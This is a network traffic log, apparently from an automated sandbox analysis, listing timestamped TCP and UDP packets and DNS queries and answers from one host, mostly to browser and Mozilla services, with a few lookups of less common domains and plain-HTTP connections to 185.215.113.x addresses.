Dec 12, 2024 21:51:10.456449032 CET	50049	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:10.456463099 CET	443	50049	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:10.456825018 CET	443	50049	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:10.458216906 CET	50049	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:10.458293915 CET	50049	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:10.458401918 CET	443	50049	35.244.181.201	192.168.2.6
Dec 12, 2024 21:51:10.459811926 CET	50049	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:10.459813118 CET	50049	443	192.168.2.6	35.244.181.201
Dec 12, 2024 21:51:10.478323936 CET	80	50047	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:10.478964090 CET	50047	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:10.620153904 CET	49997	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:51:10.680432081 CET	50056	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:10.727332115 CET	443	50056	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:10.748625040 CET	80	50053	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:10.749721050 CET	50053	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:10.884331942 CET	443	50052	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:10.884355068 CET	443	50052	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:10.885201931 CET	50052	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:10.888317108 CET	50052	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:10.888328075 CET	443	50052	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:10.888403893 CET	50052	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:10.888614893 CET	443	50052	34.117.188.166	192.168.2.6
Dec 12, 2024 21:51:10.891233921 CET	50052	443	192.168.2.6	34.117.188.166
Dec 12, 2024 21:51:11.177194118 CET	80	50054	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:11.202392101 CET	80	50055	34.107.221.82	192.168.2.6
Dec 12, 2024 21:51:11.270365000 CET	50055	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:11.290872097 CET	50054	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:11.744028091 CET	443	50056	142.250.181.110	192.168.2.6
Dec 12, 2024 21:51:11.744095087 CET	50056	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:11.744112968 CET	50056	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:51:12.177265882 CET	50047	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:12.177540064 CET	50068	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:12.297358990 CET	80	50068	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:12.297606945 CET	50068	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:12.297739029 CET	80	50047	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:12.297879934 CET	50047	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:12.298160076 CET	50068	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:12.418009996 CET	80	50068	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:12.478117943 CET	50055	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:12.479554892 CET	50054	80	192.168.2.6	34.107.221.82
Dec 12, 2024 21:51:13.690431118 CET	80	50068	185.215.113.43	192.168.2.6
Dec 12, 2024 21:51:13.690509081 CET	50068	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:51:16.794244051 CET	50073	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:51:16.914280891 CET	80	50073	185.215.113.206	192.168.2.6
Dec 12, 2024 21:51:16.914375067 CET	50073	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:51:16.914669991 CET	50073	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:51:17.034509897 CET	80	50073	185.215.113.206	192.168.2.6
Dec 12, 2024 21:51:18.256499052 CET	80	50073	185.215.113.206	192.168.2.6
Dec 12, 2024 21:51:18.256731033 CET	50073	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:51:18.258526087 CET	50073	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:51:18.378299952 CET	80	50073	185.215.113.206	192.168.2.6
Dec 12, 2024 21:51:18.709197044 CET	80	50073	185.215.113.206	192.168.2.6
Dec 12, 2024 21:51:18.709259033 CET	50073	80	192.168.2.6	185.215.113.206
Dec 12, 2024 21:51:18.713767052 CET	50073	80	192.168.2.6	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 21:50:31.478346109 CET	63540	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:31.619849920 CET	53	63540	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:31.662317991 CET	53935	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:31.800745010 CET	53	53935	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:37.115637064 CET	65458	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:37.116687059 CET	55934	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:37.254997015 CET	53	65458	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:37.264276981 CET	62278	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:37.266134024 CET	53186	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:37.401482105 CET	53	62278	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:37.404422998 CET	53	53186	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:37.417423010 CET	64203	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:37.417701006 CET	65024	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:37.554620028 CET	53	64203	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:37.557590961 CET	53	65024	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:43.886899948 CET	56427	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:43.887433052 CET	61653	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:43.895256042 CET	53214	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:43.932692051 CET	63511	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:43.937567949 CET	51168	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:44.023715019 CET	53	56427	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.033646107 CET	53	53214	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.036725998 CET	57290	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:44.037465096 CET	60027	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:44.069586992 CET	57494	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:44.166508913 CET	53	51168	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.173547983 CET	53	57290	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.174849033 CET	53	60027	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.188224077 CET	54125	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:44.203375101 CET	60695	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:44.299140930 CET	53	57494	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.304671049 CET	52344	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:44.325437069 CET	53	54125	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.341249943 CET	53	60695	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.356442928 CET	53996	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:44.496334076 CET	53	53996	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.505516052 CET	58915	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:50:44.549251080 CET	53	52344	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.643348932 CET	53	58915	1.1.1.1	192.168.2.6
Dec 12, 2024 21:50:44.789222002 CET	53	52034	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:08.379962921 CET	64106	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:08.420357943 CET	60614	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:08.420479059 CET	62026	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:08.489212036 CET	60471	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:08.518857002 CET	53	64106	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:08.539232016 CET	50147	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:08.558043957 CET	53	60614	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:08.558624983 CET	53	62026	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:08.627026081 CET	53	60471	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:08.676979065 CET	53	50147	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:08.761955023 CET	53	50257	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:08.811943054 CET	50560	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:08.949918032 CET	53	50560	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:08.977672100 CET	51850	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:09.003571033 CET	52248	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:09.115257025 CET	53	51850	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:09.140841007 CET	53	52248	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:09.159188032 CET	63210	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:09.166791916 CET	54734	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:09.298511028 CET	53	63210	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:09.304600954 CET	53	54734	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:09.344639063 CET	60905	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:09.392741919 CET	62425	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:09.484574080 CET	53	60905	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:09.530343056 CET	53	62425	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:09.560231924 CET	53830	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:09.560453892 CET	62496	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:09.561950922 CET	55452	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:09.698333025 CET	53	53830	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:09.698513031 CET	53	62496	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:09.790412903 CET	63919	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:10.004524946 CET	63919	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:10.107474089 CET	53	63919	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:10.141685963 CET	53	63919	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:10.253664017 CET	58413	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:10.391122103 CET	53	58413	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:10.415926933 CET	56011	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:10.553109884 CET	53	56011	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:11.551330090 CET	57017	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:11.759587049 CET	57017	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:11.956034899 CET	53	57017	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:11.956068039 CET	53	57017	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:26.780970097 CET	53	63175	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:26.782223940 CET	53	56543	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:26.831047058 CET	56297	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:26.831289053 CET	64293	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:26.968545914 CET	53	56297	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:26.969048023 CET	53	64293	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:29.568051100 CET	53	50431	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:30.491338968 CET	53	64293	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:31.632746935 CET	53	54263	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:33.608155966 CET	63699	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:33.608273983 CET	53458	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:33.743144035 CET	53	49361	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:33.745951891 CET	53	63699	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:33.852452993 CET	53	53458	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:41.148269892 CET	63996	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:41.148401022 CET	56330	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:41.286689997 CET	53	56330	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:43.625056028 CET	51717	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:43.625193119 CET	57665	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:43.823106050 CET	49389	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:43.962531090 CET	53	49389	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:44.169437885 CET	59701	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:44.169581890 CET	56054	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:44.307533979 CET	53	59701	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:44.352896929 CET	53	56054	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:46.132961988 CET	55526	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:46.132961988 CET	51757	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:46.133276939 CET	55434	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:46.133276939 CET	52020	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:46.138937950 CET	50715	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:46.138937950 CET	59363	53	192.168.2.6	1.1.1.1
Dec 12, 2024 21:51:46.272330999 CET	53	51757	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:46.272663116 CET	53	55434	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:46.272815943 CET	53	52020	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:46.273045063 CET	53	55526	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:46.278105974 CET	53	50715	1.1.1.1	192.168.2.6
Dec 12, 2024 21:51:46.278167009 CET	53	59363	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 21:50:31.478346109 CET	192.168.2.6	1.1.1.1	0xbc64	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:31.662317991 CET	192.168.2.6	1.1.1.1	0xf2e7	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 21:50:37.115637064 CET	192.168.2.6	1.1.1.1	0x1861	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:37.116687059 CET	192.168.2.6	1.1.1.1	0x2c39	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:37.264276981 CET	192.168.2.6	1.1.1.1	0x60aa	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:37.266134024 CET	192.168.2.6	1.1.1.1	0xfb8b	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:37.417423010 CET	192.168.2.6	1.1.1.1	0x70f9	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 12, 2024 21:50:37.417701006 CET	192.168.2.6	1.1.1.1	0x28ba	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 21:50:43.886899948 CET	192.168.2.6	1.1.1.1	0xd835	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:43.887433052 CET	192.168.2.6	1.1.1.1	0x722f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:43.895256042 CET	192.168.2.6	1.1.1.1	0x5880	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:43.932692051 CET	192.168.2.6	1.1.1.1	0x46ce	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:43.937567949 CET	192.168.2.6	1.1.1.1	0xe778	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.036725998 CET	192.168.2.6	1.1.1.1	0x6d0d	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.037465096 CET	192.168.2.6	1.1.1.1	0xfcda	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.069586992 CET	192.168.2.6	1.1.1.1	0x4944	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.188224077 CET	192.168.2.6	1.1.1.1	0x7393	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 21:50:44.203375101 CET	192.168.2.6	1.1.1.1	0xbb96	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 21:50:44.304671049 CET	192.168.2.6	1.1.1.1	0xccb2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 21:50:44.356442928 CET	192.168.2.6	1.1.1.1	0x7fb5	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.505516052 CET	192.168.2.6	1.1.1.1	0x1853	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 21:51:08.379962921 CET	192.168.2.6	1.1.1.1	0x9295	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 21:51:08.420357943 CET	192.168.2.6	1.1.1.1	0x1ca6	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 21:51:08.420479059 CET	192.168.2.6	1.1.1.1	0xf1be	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 21:51:08.489212036 CET	192.168.2.6	1.1.1.1	0x817e	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:08.539232016 CET	192.168.2.6	1.1.1.1	0x8cf1	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 21:51:08.811943054 CET	192.168.2.6	1.1.1.1	0x81a4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:08.977672100 CET	192.168.2.6	1.1.1.1	0xecb3	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.003571033 CET	192.168.2.6	1.1.1.1	0xa27f	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.159188032 CET	192.168.2.6	1.1.1.1	0x1209	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 21:51:09.166791916 CET	192.168.2.6	1.1.1.1	0xf6ef	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.344639063 CET	192.168.2.6	1.1.1.1	0x6369	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 12, 2024 21:51:09.392741919 CET	192.168.2.6	1.1.1.1	0x73e8	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.560231924 CET	192.168.2.6	1.1.1.1	0x69ad	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.560453892 CET	192.168.2.6	1.1.1.1	0x7eaa	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.561950922 CET	192.168.2.6	1.1.1.1	0xb7be	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.790412903 CET	192.168.2.6	1.1.1.1	0xe3af	Standard query (0)	drive-connect.cyou	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:10.004524946 CET	192.168.2.6	1.1.1.1	0xe3af	Standard query (0)	drive-connect.cyou	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:10.253664017 CET	192.168.2.6	1.1.1.1	0x8ed3	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:10.415926933 CET	192.168.2.6	1.1.1.1	0xbeb1	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Dec 12, 2024 21:51:11.551330090 CET	192.168.2.6	1.1.1.1	0xfd74	Standard query (0)	grahm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:11.759587049 CET	192.168.2.6	1.1.1.1	0xfd74	Standard query (0)	grahm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:26.831047058 CET	192.168.2.6	1.1.1.1	0x93fa	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:26.831289053 CET	192.168.2.6	1.1.1.1	0x86e3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 12, 2024 21:51:33.608155966 CET	192.168.2.6	1.1.1.1	0xfc3b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:33.608273983 CET	192.168.2.6	1.1.1.1	0x6366	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 12, 2024 21:51:41.148269892 CET	192.168.2.6	1.1.1.1	0x7c50	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.148401022 CET	192.168.2.6	1.1.1.1	0xcf05	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 12, 2024 21:51:43.625056028 CET	192.168.2.6	1.1.1.1	0xb22f	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:43.625193119 CET	192.168.2.6	1.1.1.1	0xc5d1	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 12, 2024 21:51:43.823106050 CET	192.168.2.6	1.1.1.1	0xd3a	Standard query (0)	grahm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:44.169437885 CET	192.168.2.6	1.1.1.1	0x8f42	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:44.169581890 CET	192.168.2.6	1.1.1.1	0x5a89	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 12, 2024 21:51:46.132961988 CET	192.168.2.6	1.1.1.1	0xd4a7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:46.132961988 CET	192.168.2.6	1.1.1.1	0x6461	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 21:51:46.133276939 CET	192.168.2.6	1.1.1.1	0x5d9b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 21:51:46.133276939 CET	192.168.2.6	1.1.1.1	0x2405	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:46.138937950 CET	192.168.2.6	1.1.1.1	0x72e6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:46.138937950 CET	192.168.2.6	1.1.1.1	0xb43f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 21:48:58.142921925 CET	1.1.1.1	192.168.2.6	0xf2c5	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:48:58.142921925 CET	1.1.1.1	192.168.2.6	0xf2c5	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:31.447766066 CET	1.1.1.1	192.168.2.6	0x564f	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:31.619849920 CET	1.1.1.1	192.168.2.6	0xbc64	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:37.254997015 CET	1.1.1.1	192.168.2.6	0x1861	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:37.256177902 CET	1.1.1.1	192.168.2.6	0x2c39	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:50:37.256177902 CET	1.1.1.1	192.168.2.6	0x2c39	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:37.401482105 CET	1.1.1.1	192.168.2.6	0x60aa	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:37.404422998 CET	1.1.1.1	192.168.2.6	0xfb8b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:37.554620028 CET	1.1.1.1	192.168.2.6	0x70f9	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 12, 2024 21:50:37.557590961 CET	1.1.1.1	192.168.2.6	0x28ba	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 12, 2024 21:50:44.023715019 CET	1.1.1.1	192.168.2.6	0xd835	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.025777102 CET	1.1.1.1	192.168.2.6	0x722f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:50:44.025777102 CET	1.1.1.1	192.168.2.6	0x722f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.033646107 CET	1.1.1.1	192.168.2.6	0x5880	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:50:44.033646107 CET	1.1.1.1	192.168.2.6	0x5880	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.059201002 CET	1.1.1.1	192.168.2.6	0x77ae	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:50:44.059201002 CET	1.1.1.1	192.168.2.6	0x77ae	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.157438993 CET	1.1.1.1	192.168.2.6	0x46ce	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:50:44.166508913 CET	1.1.1.1	192.168.2.6	0xe778	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:50:44.166508913 CET	1.1.1.1	192.168.2.6	0xe778	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:50:44.166508913 CET	1.1.1.1	192.168.2.6	0xe778	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.173547983 CET	1.1.1.1	192.168.2.6	0x6d0d	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
